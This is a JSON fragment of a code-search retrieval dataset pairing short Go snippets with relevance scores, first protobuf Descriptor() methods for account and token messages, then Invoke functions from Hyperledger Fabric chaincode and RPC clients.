"text": "func (*AccountInfo) Descriptor() ([]byte, []int) {\n\treturn file_go_chromium_org_luci_common_proto_gerrit_gerrit_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "82cc8ce2960de0da8d32ed2704bb6c06", "score": "0.64847785", "text": "func (*FindServiceAccountRequest) Descriptor() ([]byte, []int) {\n\treturn file_uac_ServiceAccount_proto_rawDescGZIP(), []int{4}\n}", "title": "" }, { "docid": "8670b3fd00088942c10b6d604aaba55a", "score": "0.64716715", "text": "func (*ServiceAccountChange) Descriptor() ([]byte, []int) {\n\treturn edgelq_iam_proto_v1alpha_service_account_change_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "b64cdcae1c4ac64935efa278a7342f0f", "score": "0.6468622", "text": "func (*CreateAccountReply) Descriptor() ([]byte, []int) {\n\treturn file_account_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "31c704c0ca82596fe3c02ec5b779717f", "score": "0.6465131", "text": "func (*UpdateTokenResp) Descriptor() ([]byte, []int) {\n\treturn file_external_iam_v2_response_tokens_proto_rawDescGZIP(), []int{2}\n}", "title": "" }, { "docid": "a257a14b3eb4c04786df3238379f6d51", "score": "0.64638484", "text": "func (*DeleteServiceAccountRequest) Descriptor() ([]byte, []int) {\n\treturn file_uac_ServiceAccount_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "4c36444d10550afd631ad7f81179dded", "score": "0.6458514", "text": "func (*AccountStatusRequest) Descriptor() ([]byte, []int) {\n\treturn file_rpc_proto_rawDescGZIP(), []int{18}\n}", "title": "" }, { "docid": "e0b1f386b7446b0f3411ea2128cc3159", "score": "0.64562255", "text": "func (*ServiceAccountChange_Removed) Descriptor() ([]byte, []int) {\n\treturn edgelq_iam_proto_v1alpha_service_account_change_proto_rawDescGZIP(), []int{0, 3}\n}", "title": "" }, { "docid": "3fc4a9a21471a6695fe3b63dfdc26f21", "score": "0.64537936", "text": "func (*ListAccountsRequest) Descriptor() ([]byte, []int) {\n\treturn file_accounts_proto_rawDescGZIP(), []int{2}\n}", "title": "" }, { "docid": "e0eec1af884475c7cd3f6484e023630a", "score": "0.6441902", "text": "func (*Account) Descriptor() ([]byte, []int) {\n\treturn file_accounts_proto_rawDescGZIP(), []int{8}\n}", "title": "" }, { "docid": "d0130a19a4d25eb2181e188b29ab8cf0", "score": "0.64347976", "text": "func (*Account) Descriptor() ([]byte, []int) {\n\treturn file_accounts_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "2b068f1132d1075033f5de06626988c4", "score": "0.6433374", "text": "func (*CreateUserAccountInfoRsp) Descriptor() ([]byte, []int) {\n\treturn file_Grpc_Def_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "540caed885b8a5e0be9165d76680ebf2", "score": "0.64325917", "text": "func (*GetOtherAccountByIDResponse) Descriptor() ([]byte, []int) {\n\treturn file_github_com_openbank_openbank_v1_counterparty_all_proto_rawDescGZIP(), []int{9}\n}", "title": "" }, { "docid": "407f914ca4602d611568ab1043e2abdf", "score": "0.64320004", "text": "func (*AccountsRequest) Descriptor() ([]byte, []int) {\n\treturn file_api_proto_rawDescGZIP(), []int{14}\n}", "title": "" }, { "docid": "7e19c87f39c18aaa396c816153623fed", "score": "0.6426558", "text": "func (*DescribeAccountRequest) Descriptor() ([]byte, []int) {\n\treturn file_apps_user_pb_request_proto_rawDescGZIP(), []int{2}\n}", "title": "" }, { "docid": "745234581ba9d01b81d1e08b6a248c94", "score": "0.6422505", "text": "func (*OtherAccount) Descriptor() ([]byte, []int) {\n\treturn file_github_com_openbank_openbank_v1_counterparty_all_proto_rawDescGZIP(), []int{10}\n}", "title": "" }, { "docid": "d51f377761a2bd5cba00d6955cf4dcbe", "score": "0.6421429", "text": "func (*MarginAccountUpdate) Descriptor() ([]byte, []int) {\n\treturn file_websocket_proto_rawDescGZIP(), []int{55}\n}", "title": "" }, { "docid": "42df38ae3bee1da004cc3af1e5a276db", "score": "0.64175713", "text": "func (*ProvisionServiceAccountToDeviceResponse) Descriptor() ([]byte, []int) {\n\treturn edgelq_devices_proto_v1alpha2_device_custom_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "1fb2f7cc0a0f2553315ff4bccfaa3b74", "score": "0.6415566", "text": "func (*SetAccountRequest) Descriptor() ([]byte, []int) {\n\treturn file_api_proto_rawDescGZIP(), []int{131}\n}", "title": "" }, { "docid": "4fd69cf42548f560d3a1e8ee572e4d98", "score": "0.64115137", "text": "func (*LockAccountResponse) Descriptor() ([]byte, []int) {\n\treturn file_api_proto_rawDescGZIP(), []int{198}\n}", "title": "" }, { "docid": "5b55064dd587413b55dc8c5fce1dcf1c", "score": "0.6410607", "text": "func (AccountType) EnumDescriptor() ([]byte, []int) {\n\treturn file_proto_micro_mall_pay_proto_pay_business_pay_business_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "bf5e22c9a2a2de7224c9473936f343e5", "score": "0.6399349", "text": "func (*AccountUnlockedResponse) Descriptor() ([]byte, []int) {\n\treturn file_api_proto_rawDescGZIP(), []int{200}\n}", "title": "" }, { "docid": "aea52d0165eaa6f022f30199f9e76717", "score": "0.6397437", "text": "func (*CreditAccount) Descriptor() ([]byte, []int) {\n\treturn file_github_com_jmalloc_ax_examples_banking_messages_account_proto_rawDescGZIP(), []int{2}\n}", "title": "" }, { "docid": "503b8fd27f95c823bc3ac69cdb032e70", "score": "0.6397028", "text": "func (*GetOtherAccountsRequest) Descriptor() ([]byte, []int) {\n\treturn file_github_com_openbank_openbank_v1_counterparty_all_proto_rawDescGZIP(), []int{11}\n}", "title": "" }, { "docid": "659b916b562874a4803c6fba3e01b04b", "score": "0.63938564", "text": "func (*BalanceResponse) Descriptor() ([]byte, []int) {\n\treturn file_account_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "f42c09d587d87c873888f7db65bef7fd", "score": "0.638834", "text": "func (*DeleteCustomerResponse) Descriptor() ([]byte, []int) {\n\treturn file_proto_usage_proto_rawDescGZIP(), []int{7}\n}", "title": "" }, { "docid": "8937e0de3d7aa759ea4ebf07bdd6aa77", "score": "0.6385817", "text": "func (*AddResponse) Descriptor() ([]byte, []int) {\n\treturn file_accounts_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "a4bfdb9b7f463d18e9792c52e93e8c00", "score": "0.6384812", "text": "func (*GetAccountMenuResponse) Descriptor() ([]byte, []int) {\n\treturn file_manager_proto_rawDescGZIP(), []int{10}\n}", "title": "" }, { "docid": "4890dcec07e5ba753d437c01c627452d", "score": "0.638308", "text": "func (x *fastReflection_QueryBalanceResponse) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_QueryBalanceResponse\n}", "title": "" }, { "docid": "4890dcec07e5ba753d437c01c627452d", "score": "0.638308", "text": "func (x *fastReflection_QueryBalanceResponse) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_QueryBalanceResponse\n}", "title": "" }, { "docid": "5c2f89b3876b580f6b8693a919c76aa2", "score": "0.63818884", "text": "func (*GetCoinjoinOutputspByAcctResponse) Descriptor() ([]byte, []int) {\n\treturn file_api_proto_rawDescGZIP(), []int{192}\n}", "title": "" }, { "docid": "59ee083b5ed276c39327241f010dd49c", "score": "0.63779867", "text": "func (*UpdateDomainResponse) Descriptor() ([]byte, []int) {\n\treturn file_uber_cadence_api_v1_service_domain_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "2638788f3ccac2bba729de58fcc4c86a", "score": "0.63758135", "text": "func (*ImportPrivateKeyResponse) Descriptor() ([]byte, []int) {\n\treturn file_api_proto_rawDescGZIP(), []int{27}\n}", "title": "" }, { "docid": "baf7d5d3e5e44b643916003bad89e0ad", "score": "0.6375308", "text": "func (x *fastReflection_QueryTallyResultResponse) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_QueryTallyResultResponse\n}", "title": "" }, { "docid": "0bb704b4543d664fb9ff01307830a235", "score": "0.6367163", "text": "func (*AccountChange) Descriptor() ([]byte, []int) {\n\treturn file_remote_kv_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "e0e8b9d28eba87fd9ad14a25c32b0761", "score": "0.63653326", "text": "func (*DeleteTokenResp) Descriptor() ([]byte, []int) {\n\treturn file_external_iam_v2_response_tokens_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "530abfac3e7f6945fac4a5b17b801739", "score": "0.6364869", "text": "func (*GetAccountAddressesResponse) Descriptor() ([]byte, []int) {\n\treturn file_contract_proto_rawDescGZIP(), []int{35}\n}", "title": "" }, { "docid": "1d965c8fea2502522a54f867ea97573b", "score": "0.636043", "text": "func (*GetPeerInfoResponse) Descriptor() ([]byte, []int) {\n\treturn file_api_proto_rawDescGZIP(), []int{206}\n}", "title": "" }, { "docid": "e6aa7494a1f5b7204735ace2ab58a24b", "score": "0.6357887", "text": "func (*ParseAndRefreshTokenResponse) Descriptor() ([]byte, []int) {\n\treturn file_authorize_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "f44529df523d90ce768d88a0e025555a", "score": "0.63553524", "text": "func (*GetUnitBalanceResponse) Descriptor() ([]byte, []int) {\n\treturn file_yandex_cloud_datasphere_v2_project_service_proto_rawDescGZIP(), []int{13}\n}", "title": "" }, { "docid": "fc6aa1b9326ab0339f4fa6112098aaa7", "score": "0.63459927", "text": "func (*Account_StatusCode) Descriptor() ([]byte, []int) {\n\treturn file_proto_google_fhir_proto_r4_core_resources_account_proto_rawDescGZIP(), []int{0, 0}\n}", "title": "" }, { "docid": "0256c670bb5bc99928082b73452e8160", "score": "0.63442075", "text": "func (*RefreshUserFromIdTokenResponse) Descriptor() ([]byte, []int) {\n\treturn edgelq_iam_proto_v1alpha_user_custom_proto_rawDescGZIP(), []int{4}\n}", "title": "" }, { "docid": "9545350f15bbfb87079a917b15f99ba4", "score": "0.6343703", "text": "func (*DescribeDomainResponse) Descriptor() ([]byte, []int) {\n\treturn file_uber_cadence_api_v1_service_domain_proto_rawDescGZIP(), []int{7}\n}", "title": "" }, { "docid": "265c76768bb4c2540eff7e8849532cbc", "score": "0.63416594", "text": "func (*GetTokenResp) Descriptor() ([]byte, []int) {\n\treturn file_external_iam_v2_response_tokens_proto_rawDescGZIP(), []int{1}\n}", "title": "" } ]
21c4e03499350327f2ec499e01b4df6d
Invoke starts a new invocation.
[ { "docid": "bb55f33f827bc287f16ac0d12476010d", "score": "0.6568127", "text": "func (c *Ctx) Invoke() *Invocation {\n\treturn &Invocation{ctx: c, err: c.err}\n}", "title": "" } ]
[ { "docid": "3beee27748ac89226375a437b67ac7f0", "score": "0.6832302", "text": "func (c *Client) Invoke(args *api.InvocationsArgs) (*api.InvocationsResult, error) {\n\treturn api.Invocations(c, args)\n}", "title": "" }, { "docid": "1bddd16561736aadf564b9d274d34dfd", "score": "0.6719476", "text": "func (c *Client) Invoke(name string, args []interface{}) (result []interface{}, err error) {\n\treturn c.InvokeContext(context.Background(), name, args)\n}", "title": "" }, { "docid": "68f3db5a10d4ce844a939bc41fe5e332", "score": "0.6680735", "text": "func (s *CommandRPCServer) Invoke(args []string, resp *string) error {\n\t*resp = s.Impl.Invoke(args...)\n\treturn nil\n}", "title": "" }, { "docid": "c7bf3e1479928ef85094e447d6da9e31", "score": "0.6474942", "text": "func (t *SimpleChaincode) Invoke(stub shim.ChaincodeStubInterface) peer.Response {\n\tfunction, args := stub.GetFunctionAndParameters()\n\tfmt.Println(\"invoke is running \" + function)\n\n\t// Handle different functions\n\tif function == \"initLedger\" { //create a new marble\n\t\treturn t.initLedger(stub)\n\t} else if function == \"queryLandRegister\" {\n\t\treturn t.queryLandRegister(stub, args)\n\t} else if function == \"queryAllLandRegisters\" {\n\t\treturn t.queryAllLandRegisters(stub, args)\n\t} else if function == \"createLandRegister\" {\n\t\treturn t.createLandRegister(stub, args)\n\t} else if function == \"createReservationNote\" {\n\t\treturn t.createReservationNote(stub, args)\n\t}\n\n\tfmt.Println(\"invoke did not find func: \" + function) //error\n\treturn shim.Error(\"Received unknown function invocation\")\n}", "title": "" }, { "docid": "22ebe05a46c312d4d8fee56f3d44d5d7", "score": "0.6472801", "text": "func (t *SimpleChaincode) Invoke(stub shim.ChaincodeStubInterface) pb.Response {\n\tfunction, args := stub.GetFunctionAndParameters()\n\tfmt.Println(\"invoke is running \" + function)\n\n\t// Handle different functions\n\tif function == \"addLog\" { // Add a log\n\t\treturn t.addLog(stub, args)\n\t} else if function == \"readLog\" { // Read a log \n\t\treturn t.readLog(stub, args)\n\t} else if function == \"getHistoryForLog\" { // Get full history of a log\n\t\treturn t.getHistoryForLog(stub, args)\n\t} else if function == \"queryAll\" { // Query all logs\n\t\treturn t.queryAll(stub, args)\n\t}\n\n\tfmt.Println(\"invoke did not find func: \" + function) //error\n\treturn shim.Error(\"Received unknown function invocation\")\n}", "title": "" }, { "docid": "3a73b54b877ebba23d210759f183897c", "score": "0.64105654", "text": "func (c *Client) Invoke(ctx context.Context, method string, args interface{}, reply interface{}, opts ...grpc.CallOption) error {\n\tprefix := \"nrpc\"\n\tif len(c.svcid) > 0 {\n\t\tprefix = fmt.Sprintf(\"nrpc.%v\", c.svcid)\n\t}\n\tsubj := prefix + strings.ReplaceAll(method, \"/\", \".\")\n\tstream := newClientStream(ctx, c, subj, c.log, opts...)\n\tc.mu.Lock()\n\tc.streams[stream.reply] = stream\n\tc.mu.Unlock()\n\treturn stream.Invoke(ctx, method, args, reply, opts...)\n}", "title": "" }, { "docid": "8a5e239ebc5790b649ab06cdad6edae8", "score": "0.6402346", "text": "func (v *ourChain) Invoke(stub shim.ChaincodeStubInterface) peer.Response {\n\tfunction, arguments := stub.GetFunctionAndParameters()\n\tfmt.Println(\"function is running....\")\n\n\tif function == \"initEntry\" {\n\t\treturn v.initEntry(stub, arguments)\n\t\t//} else if function == \"setentry\" {\n\t\t//return v.setentry(stub, arguments)\n\t} else if function == \"readEntry\" {\n\t\treturn v.readEntry(stub, arguments)\n\t} else if function == \"deleteEntry\" {\n\t\treturn v.deleteEntry(stub, arguments)\t\n\t} else if function == \"searchByOwner\" {\n\t\treturn v.searchByOwner(stub, arguments)\n\t}\n\n\tfmt.Println(\"invoke did not find func: \" + function)\n\treturn shim.Error(\"function not found\")\n}", "title": "" }, { "docid": "be0eef1d718962a582b8815d8aa8a925", "score": "0.63873595", "text": "func (t *SimpleChaincode) Invoke(stub shim.ChaincodeStubInterface) pb.Response {\n\tfunction, args := stub.GetFunctionAndParameters()\n\tfmt.Println(\" \")\n\tfmt.Println(\"starting invoke, for - \" + function)\n\n\t// Handle different functions\n\tif function == \"init\" { //initialize the chaincode state, used as reset\n\t\treturn t.Init(stub)\n\t} else if function == \"read\" { //generic read ledger\n\t\treturn read(stub, args)\n\t} else if function == \"write\" { //generic writes to ledger\n\t\treturn write(stub, args)\n\t} else if function == \"init_identity\" { //create a new identity\n\t\treturn init_identity(stub, args)\n\t} else if function == \"set_owner\" { //change owner of a identity\n\t\treturn set_owner(stub, args)\n\t} else if function == \"init_owner\" { //create a new identity owner\n\t\treturn init_owner(stub, args)\n\t} else if function == \"read_everything\" { //read everything, (owners + identitie]es + companies)\n\t\treturn read_everything(stub)\n\t}\n\n\t// error out\n\tfmt.Println(\"Received unknown invoke function name - \" + function)\n\treturn shim.Error(\"Received unknown invoke function name - '\" + function + \"'\")\n}", "title": "" }, { "docid": "f9d62c69fe3e6aaa4b75e86946e59060", "score": "0.6378965", "text": "func (t *SimpleChaincode) Invoke(stub *shim.ChaincodeStub, function string, args []string) ([]byte, error) {\n\tfmt.Println(\"run is running \" + function)\n\n\t// Handle different functions\n\tif function == \"init\" {\t\t\t\t\t\t\t\t\t\t\t\t\t//initialize the chaincode state, used as reset\n\t\treturn t.Init(stub, \"init\", args)\n\t} else if function == \"delete\" {\t\t\t\t\t\t\t\t\t\t//deletes an entity from its state\n\t\treturn t.Delete(stub, args)\n\t} else if function == \"write\" {\t\t\t\t\t\t\t\t\t\t\t//writes a value to the chaincode state\n\t\treturn t.Write(stub, args)\n\t} else if function == \"init_item\" {\t\t\t\t\t\t\t\t\t//create a new marble\n\t\treturn t.init_item(stub, args)\n\t} else if function == \"first_sale\" {\t\t\t\t\t\t\t\t\t\t//change owner of a marble\n\t\treturn t.first_sale(stub, args)\n\t} else if function == \"repair_item\" {\t\t\t\t\t\t\t\t\t//cancel an open trade order\n\t\treturn t.repair_item(stub, args)\n\t} else if function == \"resale_item\" {\t\t\t\t\t\t\t\t\t//cancel an open trade order\n\t\treturn t.resale_item(stub, args)\n\t}\n\n\tfmt.Println(\"run did not find func: \" + function)\t\t\t\t\t\t//error\n\n\treturn nil, errors.New(\"Received unknown function invocation\")\n}", "title": "" }, { "docid": "6d5bc71ed87ef40bb75b553a0ca63e2f", "score": "0.6377131", "text": "func (t *SimpleChaincode) Invoke(stub shim.ChaincodeStubInterface) pb.Response {\n\tfunction, args := stub.GetFunctionAndParameters()\n\tfmt.Println(\"invoke is running \" + function)\n\n\t// Handle different functions\n\tif function == \"createPersonLocation\" { //create a new personLocation\n\t\treturn t.createPersonLocation(stub, args)\n\t} else if function == \"updateLatitudeLongitude\" { //change longitude of a specific personLocation\n\t\treturn t.updateLatitudeLongitude(stub, args)\n\t} else if function == \"readPersonLocation\" { //read a personLocation\n\t\treturn t.readPersonLocation(stub, args)\n\t} else if function == \"getNew\" { //find personLocations for longitude X using rich query\n\t\treturn t.getNew(stub, args)\n\t} else if function == \"getHistoryForPersonLocation\" { //get history of values for a personLocation\n\t\treturn t.getHistoryForPersonLocation(stub, args)\n\t}\n\n\tfmt.Println(\"invoke did not find func: \" + function) //error\n\treturn shim.Error(\"Received unknown function invocation\")\n}", "title": "" }, { "docid": "01e74cba7d8ccfce49afec82dda67f24", "score": "0.6368333", "text": "func (t *SimpleChaincode) Invoke(stub shim.ChaincodeStubInterface, function string, args []string) ([]byte, error) {\n\tfmt.Println(\"invoke is running \" + function)\n\n\t// Handle different functions\n\tif function == \"init\" {\n\t\treturn t.Init(stub, \"init\", args)\n\t} else if function == \"enroll\" {\n\t\treturn t.enroll(stub, args)\n\t} \n\tfmt.Println(\"invoke did not find func: \" + function)\n\n\treturn nil, errors.New(\"Received unknown function invocation: \" + function)\n}", "title": "" }, { "docid": "f2de0c6bead49d914e04611cf7114485", "score": "0.6346872", "text": "func (c *Invoker) Invoke(request, response interface{}) error {\n\treturn c.InvokeFn(request, response)\n}", "title": "" }, { "docid": "b103692e9d71384c3fc779a2c0ce4b77", "score": "0.6346432", "text": "func (t *SimpleChaincode) Invoke(stub *shim.ChaincodeStub, function string, args []string) ([]byte, error) {\n\tfmt.Println(\"invoke is running \" + function)\n\n\t// Handle different functions\n\tif function == \"init\" {\n\t\treturn t.Init(stub, \"init\", args)\n\t} else if function == \"write\" {\n\t\treturn t.write(stub, args)\n\t}\n\tfmt.Println(\"invoke did not find func: \" + function)\n\n\treturn nil, errors.New(\"Received unknown function invocation\")\n}", "title": "" }, { "docid": "157452b026f606f70e08b5ed8939d2f9", "score": "0.6328913", "text": "func Invoke(expression Expression, arguments ...Expression) *InvocationExpression {\n\treturn &InvocationExpression{\n\t\texpression: expression,\n\t\targuments: arguments,\n\t}\n}", "title": "" }, { "docid": "fec8a7b075b90d030eccf560b5011196", "score": "0.63139296", "text": "func (t *SimpleChaincode) Invoke(stub shim.ChaincodeStubInterface) pb.Response {\n\tlogger.Info(\"chaincode-one: Hello Invoke\")\n\treturn shim.Success([]byte(\"Invoke\"))\n}", "title": "" }, { "docid": "412ae62b7000db57630a35d0debe8be1", "score": "0.62972194", "text": "func (t *SimpleChaincode) Invoke(stub shim.ChaincodeStubInterface, function string, args []string) ([]byte, error) {\n\tfmt.Println(\"invoke is running \" + function)\n\n\t// Handle different functions\n\tif function == \"init\" {\t\t\t\t\t\t\t\t\t\t\t\t\t//initialize the chaincode state, used as reset\n\t\treturn t.Init(stub, \"init\", args)\n\t} else if function == \"write\" {\n return t.write(stub, args)\n } else if function == \"init_transaction\" {\n return t.init_transaction(stub, args)\n } else if function == \"init_point\" {\t\t\t\t\t\t\t\t\t//create a new marble\n\t\treturn t.init_point(stub, args) \n } else if function == \"test\" {\n\t\treturn t.test(stub, args)\n\t}\n\tfmt.Println(\"invoke did not find func: \" + function)\t\t\t\t\t//error\n\n\treturn nil, errors.New(\"Received unknown function invocation: \" + function)\n}", "title": "" }, { "docid": "0faa45a1e6b33bddd57f104218789222", "score": "0.6295061", "text": "func (t *SimpleChaincode) Invoke(stub *shim.ChaincodeStub, function string, args []string) ([]byte, error) {\r\n\tfmt.Println(\"invoke is running \" + function)\r\n\r\n\t// Handle different functions\r\n\tif function == \"init\" {\t\t\t\t\t\t\t\t\t\t\t\t\t//initialize the chaincode state, used as reset\r\n\t\treturn t.Init(stub, \"init\", args)\r\n\t} else if function == \"delete\" {\t\t\t\t\t\t\t\t\t\t//deletes an entity from its state\r\n\t\treturn t.Delete(stub, args)\r\n\t} else if function == \"write\" {\t\t\t\t\t\t\t\t\t\t\t//writes a value to the chaincode state\r\n\t\treturn t.Write(stub, args)\r\n\t} else if function == \"init_customer\" {\t\t\t\t\t\t\t\t\t//create a new customer\r\n\t\treturn t.init_customer(stub, args)\r\n\t} \r\n\tfmt.Println(\"invoke did not find func: \" + function)\t\t\t\t\t//error\r\n\r\n\treturn nil, errors.New(\"Received unknown function invocation\")\r\n}", "title": "" }, { "docid": "368910657a365a25004fb95f22c55bde", "score": "0.62927693", "text": "func (t *SimpleChaincode) Invoke(stub shim.ChaincodeStubInterface) pb.Response {\n\tfunction, args := stub.GetFunctionAndParameters()\n\tfmt.Println(\"invoke is running \" + function)\n\n\t// Handle different functions\n\tif function == \"putState\" {\n\t\treturn t.putState(stub, args)\n\t} else if function == \"getState\" {\n\t\treturn t.getState(stub, args)\n\t} else if function == \"getStateHistory\" {\n\t\treturn t.getStateHistory(stub, args)\n\t} else if function == \"deleteState\" {\n\t\treturn t.deleteState(stub, args)\n\t}\n\n\tfmt.Println(\"invoke did not find func: \" + function) //error\n\treturn shim.Error(\"Received unknown function invocation\")\n}", "title": "" }, { "docid": "fb87043f6cf51ae5f5d4e53c31926964", "score": "0.62851274", "text": "func (t *SimpleChaincode) Invoke(stub shim.ChaincodeStubInterface) pb.Response {\n\tfunction, args := stub.GetFunctionAndParameters()\n\tfmt.Println(\"invoke is running \" + function)\n\n\t// Handle different functions\n\tswitch function {\n\tcase \"initProduct\":\n\t\t//create a new product\n\t\treturn t.initProduct(stub, args)\n\tcase \"readProduct\":\n\t\t//read a product\n\t\treturn t.readProduct(stub, args)\n\tcase \"readProductPrivateDetails\":\n\t\t//read a product private details\n\t\treturn t.readProductPrivateDetails(stub, args)\n\tcase \"transferProduct\":\n\t\t//change owner of a specific product\n\t\treturn t.transferProduct(stub, args)\n\tcase \"delete\":\n\t\t//delete a product\n\t\treturn t.delete(stub, args)\n\tcase \"queryProductsByOwner\":\n\t\t//find products for owner X using rich query\n\t\treturn t.queryProductsByOwner(stub, args)\n\tcase \"queryProducts\":\n\t\t//find products based on an ad hoc rich query\n\t\treturn t.queryProducts(stub, args)\n\tcase \"getProductsByRange\":\n\t\t//get products based on range query\n\t\treturn t.getProductsByRange(stub, args)\n\tdefault:\n\t\t//error\n\t\tfmt.Println(\"invoke did not find func: \" + function)\n\t\treturn shim.Error(\"Received unknown function invocation\")\n\t}\n}", "title": "" }, { "docid": "cd47dc7540de1f2d9c6bb02030da45e5", "score": "0.6269925", "text": "func (t *KlaimChaincode) Invoke(stub shim.ChaincodeStubInterface, function string, args []string) ([]byte, error) {\n\n\t// Handle different functions\n\tif function == \"init\" {\t\t\t\t\t\t\t\t\t\t\t\t\t//initialize the chaincode state, used as reset\n\t\tres, err := t.Init(stub, \"init\", args)\n\t\treturn res, err\n\t} else if function == \"init_cert\" {\t\t\t\t\t\t\t\t\t//create a new klaim\n\t\tres, err := t.init_cert(stub, args)\n\t\treturn res, err\n\t} else if function == \"init_invoice\" {\t\t\t\t\t\t\t\t\t//create a new klaim\n\t\tres, err := t.init_invoice(stub, args)\n\t\treturn res, err\n\t}\n\n\treturn nil, errors.New(\"Received unknown function invocation\")\n}", "title": "" }, { "docid": "9b7697933ed189e1e9558a0f9b702385", "score": "0.6261779", "text": "func (t *SimpleChaincode) Invoke(stub shim.ChaincodeStubInterface) pb.Response {\n\tfunction, args := stub.GetFunctionAndParameters()\n\tfmt.Println(\"invoke is running \" + function)\n\n\t// Handle different functions\n\tswitch function {\n\tcase \"setEntryLog\":\n\t\t//create a new entryLog\n\t\treturn t.setEntryLog(stub, args)\n\tcase \"getEntryLog\":\n\t\t//read a entryLog\n\t\treturn t.getEntryLog(stub, args)\n\tcase \"getEntryLogPrivateDetails\":\n\t\t//read a entryLog private details\n\t\treturn t.getEntryLogPrivateDetails(stub, args)\n\tcase \"updateAddress\":\n\t\t//change owner of a specific entryLog\n\t\treturn t.updateAddress(stub, args)\n\tcase \"delete\":\n\t\t//delete a entryLog\n\t\treturn t.delete(stub, args)\n\tcase \"queryEntryLogsByFacilityID\":\n\t\t//find entryLogs for owner X using rich query\n\t\treturn t.queryEntryLogsByFacilityID(stub, args)\n\tcase \"queryEntryLogsByPersonalID\":\n\t\t//get entryLogs based on range query\n\t\treturn t.queryEntryLogsByPersonalID(stub, args)\n\tcase \"queryEntryLogs\":\n\t\t//find entryLogs based on an ad hoc rich query\n\t\treturn t.queryEntryLogs(stub, args)\n\tcase \"getPrivateEntryLogByFacility\":\n\t\treturn t.getPrivateEntryLogByFacility(stub, args)\n\tcase \"getPrivateEntryLogByPerson\":\n\t\treturn t.getPrivateEntryLogByPerson(stub, args)\n\tdefault:\n\t\t//error\n\t\tfmt.Println(\"invoke did not find func: \" + function)\n\t\treturn shim.Error(\"Received unknown function invocation\")\n\t}\n}", "title": "" }, { "docid": "4c9793f4edc97b3f2a46f57e343e1e28", "score": "0.62555724", "text": "func (t *SimpleChaincode) Invoke(stub *shim.ChaincodeStub, function string, args []string) ([]byte, error) {\n\tfmt.Println(\"invoke is running \" + function)\n\t// Handle different functions\n\tif function == \"init\" {\n\t\treturn t.Init(stub, \"init\", args)\n\t} else if function == \"write\" {\n\t\treturn t.write(stub, args)\n\t} else if function == \"login\" {\n\t\treturn t.login(stub, args)\n\t}\n\n\tfmt.Println(\"invoke did not find func: \" + function)\n\n\treturn nil, errors.New(\"Received unknown function invocation: \" + function)\n}", "title": "" }, { "docid": "9951c8f97f78fbabb902aefd7add0a2a", "score": "0.6253947", "text": "func (t *DocnotaChaincode) Invoke(stub shim.ChaincodeStubInterface) pb.Response {\n\tfunction, args := stub.GetFunctionAndParameters()\n\tfmt.Println(\"invoke is running \" + function)\n\n\t// Handle different functions\n\tif function == \"createDoc\" { //create a new document\n\t\treturn t.createDoc(stub, args)\n\t} else if function == \"getDoc\" { //get a document\n\t\treturn t.getDoc(stub, args)\n\t}\n\n\tfmt.Println(\"invoke did not find func: \" + function) //error\n\treturn shim.Error(\"Received unknown function invocation\")\n}", "title": "" }, { "docid": "1aa06d9e19c9f0d48355e7582709b17e", "score": "0.6249256", "text": "func Invoke(name string, context compromise.CompleteContext, args []string) (ret compromise.CandidateList) {\n\tadapter, err := getFunction(name)\n\tcommon.CheckPanice(err) // The function name must have been verified already, so let's panic.\n\n\tcompdebug.Time(\"Call go func: \"+name, func() {\n\t\tcompdebug.Debugf(\"Calling %s with args %v\\n\", name, args)\n\t\tret = adapter(context, args)\n\t})\n\treturn\n}", "title": "" }, { "docid": "e520910a323e53ce44558c9e5d851b42", "score": "0.6237038", "text": "func (t *SimpleChaincode) Invoke(stub *shim.ChaincodeStub, function string, args []string) ([]byte, error) {\r\n\tfmt.Println(\"invoke is running \" + function)\r\n\r\n\t// Handle different functions\r\n\tif function == \"init\" {\t\t\t\t\t\t\t\t\t\t\t\t\t//initialize the chaincode state, used as reset\r\n\t\treturn t.Init(stub, \"init\", args)\r\n\t} else if function == \"delete\" {\t\t\t\t\t\t\t\t\t\t//deletes an entity from its state\r\n\t\treturn t.Delete(stub, args)\r\n\t} else if function == \"write\" {\t\t\t\t\t\t\t\t\t\t\t//writes a value to the chaincode state\r\n\t\treturn t.Write(stub, args)\r\n\t} else if function == \"init_marble\" {\t\t\t\t\t\t\t\t\t//create a new marble\r\n\t\treturn t.init_marble(stub, args)\r\n\t} else if function == \"set_state\" {\t\t\t\t\t\t\t\t\t\t//change owner of a marble\r\n\t\treturn t.set_state(stub, args)\r\n\t}\r\n\tfmt.Println(\"invoke did not find func: \" + function)\t\t\t\t\t//error\r\n\r\n\treturn nil, errors.New(\"Received unknown function invocation\")\r\n}", "title": "" }, { "docid": "0e45ee49106ba81840295b3c7087cee8", "score": "0.62278193", "text": "func (r *Requestor) Invoke(serviceName string, methodName string, arg1 interface{}, arg2 interface{}) network.Response {\n\n\targs := make([]interface{}, 2)\n\targs[0] = arg1\n\targs[1] = arg2\n\tserviceAddress := \"\"\n\tif namingProxyIsOn {\n\t\tserviceAddress = r.find(serviceName)\n\t}\n\tif serviceAddress == \"\" {\n\t\tserviceAddress = r.lookup(serviceName)\n\t\tr.putServiceInNamingProxy(serviceName, serviceAddress)\n\t}\n\tbytesRequestData := r.marshall(serviceName, methodName, args)\n\tserverResponse := r.send(serviceAddress, bytesRequestData)\n\treturn r.unmarshall(serverResponse)\n}", "title": "" }, { "docid": "1c98c1e36c067273c8fe7c94f40ac67d", "score": "0.6214257", "text": "func (t *SimpleChaincode) Invoke(stub shim.ChaincodeStubInterface, function string, args []string) ([]byte, error) {\n\tfmt.Println(\"invoke is running \" + function)\n\n\t// Handle different functions\n\tif function == \"init\" {\n\t\treturn t.Init(stub, \"init\", args)\n\t} 